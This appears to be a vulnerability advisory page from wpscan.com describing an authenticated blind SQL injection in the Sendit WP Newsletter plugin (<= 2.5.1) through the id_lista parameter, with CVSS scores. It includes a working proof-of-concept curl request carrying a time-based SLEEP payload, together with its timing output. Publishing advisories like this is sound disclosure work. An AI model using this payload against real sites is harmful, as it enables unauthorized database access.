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HistoryMay 27, 2021 - 12:00 a.m.

Sendit WP Newsletter <= 2.5.1 - Authenticated (admin+) SQL Injection

2021-05-2700:00:00
wpscan.com
5

6.6 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

6 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:S/C:P/I:P/A:P

The page lists-management feature of the plugin, available to Administrator users does not sanitise, validate or escape the id_lista POST parameter before using it in SQL statement, therefore leading to Blind SQL Injection.

PoC

time curl -i -s -k -X $‘POST’ \ -H $‘Upgrade-Insecure-Requests: 1’ -H $‘Origin: https://example.com’ -H $‘Content-Type: application/x-www-form-urlencoded’ -H $‘User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36’ -H $‘Referer: https://example.com/wp-admin/admin.php?page=lists-management&amp;delete;=1&amp;id;_lista=1’ \ -b $‘[admin user]’ \ --data-binary $‘id_lista=1-IF(MID(VERSION(),1,1)=8,SLEEP(10),0)&com;=DEL’ \ $‘https://example.com/wp-admin/admin.php?page=lists-management’ Response:

0.01s user 0.00s system 0% cpu 20.279 total

CPENameOperatorVersion
senditeq*

6.6 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

6 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:S/C:P/I:P/A:P

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